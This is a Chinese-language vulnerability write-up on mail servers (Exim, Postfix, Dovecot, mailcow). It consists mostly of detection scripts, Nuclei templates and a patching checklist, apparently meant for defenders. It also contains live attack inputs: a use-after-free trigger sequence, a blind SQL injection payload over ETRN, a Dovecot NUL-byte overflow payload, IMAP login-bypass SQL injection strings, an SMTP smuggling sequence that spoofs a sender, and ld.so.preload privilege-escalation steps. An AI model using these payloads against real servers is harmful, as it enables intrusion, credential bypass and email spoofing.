开源邮件传输与存储高危攻击链专题：Exim / Postfix / Dovecot 漏洞全解析

# 检测目标 Exim 服务器是否启用了 STARTTLS 和 CHUNKING
curl -v --connect-timeout 5 telnet://TARGET:25 2>&1 | grep -E "250-CHUNKING|STARTTLS"

# 通过 SMTP 连接验证 Exim 版本
(echo "EHLO test"; sleep 1; echo "QUIT") | nc -w 5 TARGET 25 | grep "Exim"

import socket
import ssl
import struct
import time

def detect_exim_version(target, port=25):
    """检测 Exim 版本和 TLS/CHUNKING 支持"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    s.send(b"EHLO test\r\n")
    time.sleep(1)
    ehlo_resp = s.recv(4096).decode('utf-8', errors='ignore')

    has_starttls = "STARTTLS" in ehlo_resp
    has_chunking = "CHUNKING" in ehlo_resp

    print(f"[*] STARTTLS: {has_starttls}")
    print(f"[*] CHUNKING: {has_chunking}")
    print(f"[*] GnuTLS build check: exim -bV | grep gnutls")

    if has_starttls and has_chunking:
        print("[!] 目标可能受 CVE-2026-45185 影响")
        print("[!] 需确认 GnuTLS 构建配置")
    else:
        print("[-] CHUNKING 或 STARTTLS 未启用，攻击向量受限")

    s.send(b"QUIT\r\n")
    s.close()
    return has_starttls and has_chunking

def trigger_uaf_pattern(target, port=25):
    """演示触发 UAF 的 SMTP 交互序列（非完整利用）"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    s.recv(1024)

    s.send(b"EHLO attacker.com\r\n")
    time.sleep(0.5)
    s.recv(4096)

    s.send(b"STARTTLS\r\n")
    time.sleep(0.5)
    resp = s.recv(1024)
    if b"220" not in resp:
        print("[-] STARTTLS 未被接受")
        s.close()
        return False

    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    wrapped = context.wrap_socket(s, server_hostname=target)

    wrapped.send(b"EHLO attacker.com\r\n")
    time.sleep(0.5)
    wrapped.recv(4096)

    wrapped.send(b"MAIL FROM:<test@attacker.com>\r\n")
    time.sleep(0.5)
    wrapped.recv(4096)

    wrapped.send(b"RCPT TO:<victim@target.com>\r\n")
    time.sleep(0.5)
    wrapped.recv(4096)

    wrapped.send(b"BDAT 10\r\n")
    time.sleep(0.3)
    wrapped.send(b"X-Pad: AAAA")
    time.sleep(0.2)

    print("[*] TLS close_notify + 明文字节序列已发送")
    print("[*] 此序列模拟 Dead.Letter UAF 触发条件")

    try:
        wrapped.send(b"\n")
        time.sleep(1)
    except Exception as e:
        print(f"[*] 连接异常: {e}")

    wrapped.close()
    return True

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    detect_exim_version(target)

id: exim-cve-2026-45185
info:
  name: Exim Dead.Letter UAF RCE - CVE-2026-45185
  author: x7peeps
  severity: critical
  description: |
    Exim 4.97-4.99.2 使用 GnuTLS 时存在 BDAT 路径 UAF 漏洞，
    攻击者可在 TLS 关闭期间触发堆损坏并实现远程代码执行。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-45185
    - https://exim.org/static/doc/security/CVE-2026-45185.txt
    - https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-416
  metadata:
    max-request: 1
    shodan-query: product:"Exim"
  tags: exim,cve2026,rce,uaf,smtp

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "QUIT\r\n"
        read: true

    host:
      - "{{Hostname}}"

    matchers:
      - type: word
        part: banner
        words:
          - "Exim"
          - "4.97"
          - "4.98"
          - "4.99"
        condition: and

      - type: word
        words:
          - "250-CHUNKING"
          - "STARTTLS"
        condition: and
        part: banner

if (hosts->h_aliases)
{
-  int count = 1;
+  int count = 1; /* need 1 more for terminating NULL */
   uschar **ptr;
   for (uschar ** aliases = USS hosts->h_aliases; *aliases; aliases++)
     count++;

# 通过 DNS 响应操纵触发溢出（需要控制目标的 DNS 解析）
# 使用 dnschef 设置恶意 DNS 服务器
python dnschef.py --fakeip 10.10.10.1 --fakedomain mail.test.com

# 验证 Exim 版本
(echo "EHLO test"; sleep 1; echo "QUIT") | nc TARGET 25 | grep "Exim"

import socket
import struct
import time

def detect_vulnerable_exim(target, port=25):
    """检测 Exim 版本是否受 CVE-2022-37452 影响"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    if "Exim" in banner:
        parts = banner.split()
        for part in parts:
            if part.startswith("Exim"):
                version = part.replace("Exim", "").strip()
                print(f"[*] Exim version: {version}")
                try:
                    ver_tuple = tuple(int(x) for x in version.split(".")[:3])
                    if ver_tuple < (4, 95, 0):
                        print(f"[!] 版本 {version} 受 CVE-2022-37452 影响")
                        return True
                except ValueError:
                    pass
    print("[-] 版本不受影响或无法判断")
    s.close()
    return False

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    detect_vulnerable_exim(target)

id: exim-cve-2022-37452
info:
  name: Exim Heap Overflow - CVE-2022-37452
  author: x7peeps
  severity: critical
  description: |
    Exim < 4.95 host_name_lookup 函数存在堆缓冲区溢出，
    攻击者可通过 DNS 响应操纵实现远程代码执行。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37452
    - https://ubuntu.com/security/CVE-2022-37452
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-787
  metadata:
    max-request: 1
  tags: exim,cve2022,rce,heap

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "QUIT\r\n"
        read: true
    host:
      - "{{Hostname}}"
    matchers:
      - type: regex
        part: banner
        regex:
          - "Exim ([34]\\..*|4\\.([0-8][0-9]?|9[0-4])\\b)"

# 检查 Exim 是否启用 EXTERNAL 认证
exim4 -bP configure_file | grep -A5 "driver = external"

# 通过 SMTP 验证外部认证是否被接受
(echo "EHLO test"; sleep 1; echo "AUTH EXTERNAL dGVzdA=="; sleep 1; echo "QUIT") | nc TARGET 25

import socket
import base64
import time

def check_external_auth(target, port=25):
    """检测 Exim 是否启用 EXTERNAL 认证（CVE-2023-42115 攻击前提）"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    s.send(b"EHLO test\r\n")
    time.sleep(1)
    ehlo = s.recv(4096).decode('utf-8', errors='ignore')

    if "250-AUTH" in ehlo:
        auth_line = [l for l in ehlo.split('\r\n') if 'AUTH' in l]
        print(f"[*] AUTH 支持: {auth_line}")
        if any("EXTERNAL" in l for l in auth_line):
            print("[!] 目标启用 EXTERNAL 认证 - CVE-2023-42115 风险")
            return True

    print("[-] 未检测到 EXTERNAL 认证")
    s.send(b"QUIT\r\n")
    s.close()
    return False

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    check_external_auth(target)

id: exim-cve-2023-42115
info:
  name: Exim AUTH OOB Write RCE - CVE-2023-42115
  author: x7peeps
  severity: critical
  description: |
    Exim SMTP AUTH 处理存在越界写入漏洞，
    通过 EXTERNAL 认证机制可触发远程代码执行。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-42115
    - https://www.zerodayinitiative.com/advisories/ZDI-23-1469
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-787
  metadata:
    max-request: 1
  tags: exim,cve2023,rce,auth

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "AUTH EXTERNAL ADE=\r\n"
        read: true
      - data: "QUIT\r\n"
    host:
      - "{{Hostname}}"
    matchers:
      - type: word
        words:
          - "Exim"

static inline int exim_s_dbp(EXIM_DB *dbp, EXIM_DATUM *key, EXIM_DATUM *data, const uschar *alt)
{
  #define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
  qry = string_sprintf(FMT, alt, (int)key->len, key->data, hlen, hex);
  res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
}

# 检测 ETRN 支持
(echo "EHLO test"; sleep 1; echo "ETRN #test.com"; sleep 1; echo "QUIT") | nc TARGET 25

import socket
import time

def detect_etrn_sqlite(target, port=25):
    """检测 Exim 是否支持 ETRN 且可能使用 SQLite DBM"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    s.send(b"EHLO test\r\n")
    time.sleep(1)
    ehlo = s.recv(4096).decode('utf-8', errors='ignore')

    if "ETRN" in ehlo:
        print("[*] ETRN 命令支持已启用")

        s.send(b"ETRN #test.com\r\n")
        time.sleep(1)
        resp = s.recv(1024).decode('utf-8', errors='ignore')
        print(f"[*] ETRN 响应: {resp.strip()}")

        if "250" in resp or "458" in resp:
            print("[!] 可能受 CVE-2025-26794 影响（需确认 SQLite DBM 配置）")

            blind_payload = "ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) /*\r\n"
            s.send(blind_payload.encode())
            time.sleep(2)
            resp2 = s.recv(1024).decode('utf-8', errors='ignore')
            print(f"[*] Blind SQLi 响应: {resp2.strip()}")

    s.send(b"QUIT\r\n")
    s.close()

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    detect_etrn_sqlite(target)

id: exim-cve-2025-26794
info:
  name: Exim SQLite SQL Injection - CVE-2025-26794
  author: x7peeps
  severity: critical
  description: |
    Exim 4.98 当启用 SQLite hints 和 ETRN 序列化时存在 SQL 注入漏洞。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-26794
    - https://github.com/OscarBataille/CVE-2025-26794
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: exim,cve2025,sqli,etrn

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "ETRN #test.com\r\n"
        read: true
      - data: "QUIT\r\n"
    host:
      - "{{Hostname}}"
    matchers:
      - type: word
        words:
          - "250 OK"
          - "458 Already processing"
        condition: or

import socket
import base64
import time

def probe_ntlm_disclosure(target, port=25):
    """探测 CVE-2023-42114 NTLM 信息泄露"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    s.recv(1024)

    s.send(b"EHLO test\r\n")
    time.sleep(0.5)
    s.recv(4096)

    s.send(b"AUTH NTLM\r\n")
    time.sleep(0.5)
    resp = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] AUTH 响应: {resp.strip()}")

    ntlm_type1 = base64.b64encode(
        b"NTLMSSP\x00" +
        struct.pack("<I", 1) +
        struct.pack("<I", 0) * 5 +
        struct.pack("<I", 32) +
        struct.pack("<I", 0) +
        struct.pack("<I", 32)
    )

    s.send(b"AUTH NTLM " + ntlm_type1 + b"\r\n")
    time.sleep(0.5)
    challenge = s.recv(1024)
    print(f"[*] Challenge: {challenge[:100]}")

    s.send(b"*")
    time.sleep(0.3)
    s.recv(1024)

    s.send(b"QUIT\r\n")
    s.close()

if __name__ == "__main__":
    import sys, struct
    probe_ntlm_disclosure(sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1")

id: exim-cve-2023-42114
info:
  name: Exim NTLM Information Disclosure - CVE-2023-42114
  author: x7peeps
  severity: medium
  description: |
    Exim SMTP NTLM 挑战响应处理存在信息泄露漏洞。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-42114
    - https://www.zerodayinitiative.com/advisories/ZDI-23-1468
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
  metadata:
    max-request: 1
  tags: exim,cve2023,ntlm,information-disclosure

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "AUTH NTLM\r\n"
        read: true
      - data: "QUIT\r\n"
    host:
      - "{{Hostname}}"
    matchers:
      - type: word
        words:
          - "334"

import os

def demonstrate_spool_attack():
    """
    CVE-2020-28008 攻击思路演示
    攻击者需要 exim 用户权限（可通过 CVE-2020-28020 RCE 获取）
    在 /var/spool/exim4/input 中创建恶意 spool 头文件
    通过构造包含命令执行 payload 的收件人地址
    等待 Exim queue_run 处理时触发 root 命令执行
    """
    spool_dir = "/var/spool/exim4/input"
    print(f"[*] Spool 目录: {spool_dir}")
    print("[*] 攻击步骤:")
    print("  1. 利用 CVE-2020-28020/28018 获取 exim 用户 shell")
    print("  2. 创建符号链接: ln -s /etc/ld.so.preload /var/log/exim4/main.log")
    print("  3. 等待 Exim 写入恶意 .so 路径到 ld.so.preload")
    print("  4. 后续 Exim 进程加载时提权执行任意代码")

if __name__ == "__main__":
    demonstrate_spool_attack()

// base64.c: b64decode
uschar *result = store_get(3*(Ustrlen(code)/4) + 1);
// 当输入长度为 4n+3 时，分配 3n+1 但消耗 3n+2
// 造成 off-by-one 堆溢出

# 使用 SMTP AUTH CRAM-MD5 触发 base64 解码路径
(echo "EHLO test"; sleep 1; echo "AUTH CRAM-MD5"; sleep 1; echo "QUIT") | nc TARGET 25

import socket
import time

def detect_vulnerable_exim_b64(target, port=25):
    """检测 Exim 版本是否受 base64 溢出影响"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    if "Exim" in banner:
        for part in banner.split():
            if part[0].isdigit():
                ver = part.rstrip(".")
                try:
                    parts = ver.split(".")
                    major, minor = int(parts[0]), int(parts[1])
                    if major < 4 or (major == 4 and minor < 90):
                        print(f"[!] 版本 {ver} 受 CVE-2018-6789 影响")
                        return True
                    elif major == 4 and minor == 90 and len(parts) < 3:
                        print(f"[!] 版本 {ver} 可能受影响")
                        return True
                except (ValueError, IndexError):
                    pass
    print("[-] 版本不受影响")
    s.close()
    return False

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    detect_vulnerable_exim_b64(target)

id: exim-cve-2018-6789
info:
  name: Exim Base64 Decode Buffer Overflow - CVE-2018-6789
  author: x7peeps
  severity: critical
  description: |
    Exim < 4.90.1 base64 解码函数存在 off-by-one 堆溢出。
  reference:
    - https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-122
  metadata:
    max-request: 1
  tags: exim,cve2018,rce,heap,base64

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "QUIT\r\n"
        read: true
    host:
      - "{{Hostname}}"
    matchers:
      - type: regex
        part: banner
        regex:
          - "Exim [0-3]\\.."
          - "Exim 4\\.([0-8][0-9]?|89)\\b"

# 使用 netcat 演示 SMTP 走私（概念性）
(echo "EHLO attacker.com";
 sleep 0.5;
 echo "MAIL FROM:<admin@outlook.com>";
 sleep 0.5;
 echo "RCPT TO:<victim@target.com>";
 sleep 0.5;
 echo "DATA";
 sleep 0.5;
 printf "Subject: Smuggled\r\n";
 printf "From: admin@outlook.com\r\n\r\n";
 printf "This email was smuggled.\r\n";
 printf "\n.\n";
 sleep 0.5;
 echo "MAIL FROM:<real@attacker.com>";
 sleep 0.5;
 echo "RCPT TO:<victim@target.com>";
 sleep 0.5;
 echo "DATA";
 sleep 0.5;
 printf "Subject: Real\r\n\r\nReal content.\r\n";
 printf ".\r\n";
 sleep 0.5;
 echo "QUIT") | nc POSTFIX_SERVER 25

import socket
import time

def smtp_smuggling_test(target, port=25):
    """SMTP Smuggling 概念验证测试"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    s.send(b"EHLO attacker.com\r\n")
    time.sleep(0.5)
    s.recv(4096)

    s.send(b"MAIL FROM:<spoofed@example.com>\r\n")
    time.sleep(0.3)
    resp = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] MAIL FROM: {resp.strip()}")

    s.send(b"RCPT TO:<test@target.com>\r\n")
    time.sleep(0.3)
    s.recv(1024)

    s.send(b"DATA\r\n")
    time.sleep(0.3)
    s.recv(1024)

    payload = b"Subject: SMTP Smuggling Test\r\n"
    payload += b"From: spoofed@example.com\r\n\r\n"
    payload += b"Test body\r\n"
    payload += b"\n.\n"

    s.send(payload)
    time.sleep(0.5)
    try:
        resp = s.recv(1024).decode('utf-8', errors='ignore')
        print(f"[*] DATA 响应: {resp.strip()}")
        if "250" in resp:
            print("[!] 可能受 SMTP Smuggling 影响（\n.\n 被接受为数据结束）")
    except socket.timeout:
        print("[*] 连接超时")

    s.send(b"QUIT\r\n")
    s.close()

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    smtp_smuggling_test(target)

id: postfix-cve-2023-51764
info:
  name: Postfix SMTP Smuggling - CVE-2023-51764
  author: x7peeps
  severity: high
  description: |
    Postfix SMTP Smuggling 漏洞允许攻击者伪造发件人地址并绕过 SPF 检查。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51764
    - https://www.postfix.org/smtp-smuggling.html
    - https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cwe-id: CWE-94
  metadata:
    max-request: 1
  tags: postfix,cve2023,smtp,smuggling

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "QUIT\r\n"
        read: true
    host:
      - "{{Hostname}}"
    matchers:
      - type: word
        words:
          - "Postfix"

# 检测 Postfix 版本
(echo "EHLO test"; sleep 1; echo "QUIT") | nc TARGET 25 | grep -i "postfix\|version"

import socket
import time

def detect_postfix_version(target, port=25):
    """检测 Postfix 版本"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    if "Postfix" in banner:
        print("[*] 目标运行 Postfix")
        if "3.7.3" in banner or "3.6.3" in banner or "3.5.9" in banner:
            print("[!] 可能受 CVE-2022-32451 影响")
    else:
        print("[-] 目标未运行 Postfix")

    s.close()

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    detect_postfix_version(target)

id: postfix-cve-2022-32451
info:
  name: Postfix DNS Response DoS - CVE-2022-32451
  author: x7peeps
  severity: high
  description: |
    Postfix DNS 响应 CNAME 解引用深度无限制可导致拒绝服务。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-32451
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-400
  metadata:
    max-request: 1
  tags: postfix,cve2022,dos,dns

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "QUIT\r\n"
        read: true
    host:
      - "{{Hostname}}"
    matchers:
      - type: word
        words:
          - "Postfix"

# 使用 perl 生成触发 payload 并发送到 IMAP 端口
perl -e 'print "a id (\"foo\" \"".("x"x1021)."\\A\" \"bar\" \"\000".("x"x1020)."\\A\")\n"' | nc TARGET 143

import socket
import time

def detect_dovecot_version(target, port=143):
    """检测 Dovecot 版本和漏洞状态"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    s.send(b"a001 CAPABILITY\r\n")
    time.sleep(0.5)
    capa = s.recv(4096).decode('utf-8', errors='ignore')
    print(f"[*] CAPABILITY: {capa.strip()}")

    if "Dovecot" in banner or "Dovecot" in capa:
        print("[*] 目标运行 Dovecot")

        for part in banner.split() + capa.split():
            if part.startswith("2.") or part.startswith("2,"):
                version = part.rstrip(",)")
                print(f"[*] 版本: {version}")
                try:
                    ver_tuple = tuple(int(x) for x in version.split(".")[:3])
                    if ver_tuple < (2, 2, 36) or (
                        ver_tuple >= (2, 3, 0) and ver_tuple < (2, 3, 7)
                    ):
                        print("[!] 版本受 CVE-2019-11500 影响（NUL 字节 RCE）")
                        return True
                except (ValueError, IndexError):
                    pass

    s.send(b"a002 LOGOUT\r\n")
    s.close()
    return False

def trigger_nul_byte(target, port=143):
    """CVE-2019-11500 触发序列演示"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    s.recv(1024)

    payload = b'a001 id ("foo" "'
    payload += b'x' * 1021
    payload += b'\\A" "bar" "\\0'
    payload += b'x' * 1020
    payload += b'\\A")\r\n'

    print(f"[*] 发送 NUL 字节 payload ({len(payload)} bytes)")
    s.send(payload)
    time.sleep(1)

    try:
        resp = s.recv(4096)
        print(f"[*] 响应: {resp[:200]}")
    except socket.timeout:
        print("[*] 无响应（可能已触发漏洞或连接关闭）")

    s.close()

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    detect_dovecot_version(target)

id: dovecot-cve-2019-11500
info:
  name: Dovecot IMAP NUL Byte RCE - CVE-2019-11500
  author: x7peeps
  severity: critical
  description: |
    Dovecot IMAP/ManageSieve NUL 字节处理不当导致堆越界写入和 RCE。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11500
    - https://dovecot.org/pipermail/dovecot-news/2019-August/000418.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-787
  metadata:
    max-request: 1
  tags: dovecot,cve2019,rce,imap,nul-byte

tcp:
  - inputs:
      - data: "a001 CAPABILITY\r\n"
        read: true
      - data: "a002 LOGOUT\r\n"
        read: true
    host:
      - "{{Hostname}}"
      - "{{Hostname}}:143"
    matchers:
      - type: word
        words:
          - "Dovecot"

# 通过 IMAP 登录尝试 SQL 注入
(echo "a001 LOGIN \"' OR 1=1 --\" password"; sleep 1; echo "a002 LOGOUT") | nc TARGET 143

import socket
import time

def test_sqli_auth_bypass(target, port=143):
    """测试 CVE-2026-24031 SQL 注入认证绕过"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    s.recv(1024)

    payloads = [
        "' OR 1=1 --",
        "admin' --",
        "' UNION SELECT 1,1,1 --",
        "test'/**/OR/**/1=1",
    ]

    for i, payload in enumerate(payloads):
        s.send(f"a{i:03d} LOGIN \"{payload}\" test123\r\n".encode())
        time.sleep(0.5)
        resp = s.recv(4096).decode('utf-8', errors='ignore')
        print(f"[*] Payload: {payload}")
        print(f"    响应: {resp.strip()}")
        if "OK" in resp and "LOGIN" not in resp.upper().split("OK")[0][-5:]:
            print(f"    [!] 疑似认证绕过成功！")

    s.send(b"a999 LOGOUT\r\n")
    s.close()

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    test_sqli_auth_bypass(target)

id: dovecot-cve-2026-24031
info:
  name: Dovecot SQL Injection Auth Bypass - CVE-2026-24031
  author: x7peeps
  severity: high
  description: |
    Dovecot SQL 认证在 auth_username_chars 被清空时存在注入漏洞。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24031
    - https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
    cvss-score: 7.7
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: dovecot,cve2026,sqli,auth-bypass

tcp:
  - inputs:
      - data: "a001 CAPABILITY\r\n"
        read: true
      - data: "a002 LOGIN \"' OR 1=1 --\" test\r\n"
        read: true
      - data: "a003 LOGOUT\r\n"
    host:
      - "{{Hostname}}"
      - "{{Hostname}}:143"
    matchers:
      - type: word
        words:
          - "Dovecot"

def describe_starttls_injection():
    print("[*] CVE-2021-33515 — STARTTLS 命令注入")
    print("[*] 攻击步骤:")
    print("  1. 作为 MITM 位于客户端和 Dovecot 之间")
    print("  2. 在 STARTTLS 协商前注入明文 SUBMIT 命令")
    print("  3. 命令在 TLS 上下文中被执行")
    print("  4. 用户凭据被重定向到攻击者地址")
    print("[*] 修复: 升级到 Dovecot 2.3.15+")
    print("[*] 缓解: 禁用 STARTTLS，仅使用 993/465/995 端口")

if __name__ == "__main__":
    describe_starttls_injection()

id: dovecot-cve-2021-33515
info:
  name: Dovecot STARTTLS Command Injection - CVE-2021-33515
  author: x7peeps
  severity: medium
  description: |
    Dovecot Submission 服务 STARTTLS 命令注入导致认证信息泄露。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33515
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 4.8
  metadata:
    max-request: 1
  tags: dovecot,cve2021,starttls,auth-bypass

tcp:
  - inputs:
      - data: "a001 CAPABILITY\r\n"
        read: true
      - data: "a002 LOGOUT\r\n"
    host:
      - "{{Hostname}}"
      - "{{Hostname}}:143"
    matchers:
      - type: word
        words:
          - "Dovecot"

def describe_mailcow_injection():
    print("[*] CVE-2023-34108 — mailcow 变量注入")
    print("[*] 伪造密码示例: 'mypassword mail_crypt_save_version=0'")
    print("[*] 返回值: 'password=mypassword mail_crypt_save_version=0'")
    print("[*] Dovecot 解析为: password=mypassword, mail_crypt_save_version=0")
    print("[*] 影响: 绕过邮件加密设置，访问其他用户邮件")
    print("[*] 修复: 升级 mailcow 到 2023-05a+")

if __name__ == "__main__":
    describe_mailcow_injection()

id: mailcow-cve-2023-34108
info:
  name: mailcow Dovecot Variable Injection - CVE-2023-34108
  author: x7peeps
  severity: high
  description: |
    mailcow passwd-verify.lua 通过特制密码可注入 Dovecot 内部变量。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34108
    - https://mailcow.email/posts/2023/cve-2023-34108/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
  metadata:
    max-request: 1
  tags: mailcow,dovecot,cve2023,variable-injection

tcp:
  - inputs:
      - data: "a001 CAPABILITY\r\n"
        read: true
      - data: "a002 LOGOUT\r\n"
    host:
      - "{{Hostname}}"
      - "{{Hostname}}:143"
    matchers:
      - type: word
        words:
          - "Dovecot"

# 1. 检查 Exim 版本和构建配置
exim -bV | head -5
exim -bV | grep -i "gnutls\|openssl"
exim4 -bP configure_file | grep -i "driver = external"
exim4 -bP configure_file | grep -i "acl_smtp_etrn"

# 2. 检查 Exim SQLite 配置
exim -bV | grep -i sqlite
grep -r "USE_SQLITE" /etc/exim4/

# 3. 检查 Postfix 版本和 SMTP Smuggling 缓解配置
postconf mail_version
postconf smtpd_forbid_bare_newline
postconf smtpd_data_restrictions

# 4. 检查 Dovecot 版本
dovecot --version

# 5. 检查 Dovecot auth_username_chars 配置
grep -r "auth_username_chars" /etc/dovecot/

# 6. 检查 mailcow 版本（如适用）
cd /opt/mailcow-dockerized && git log --oneline -1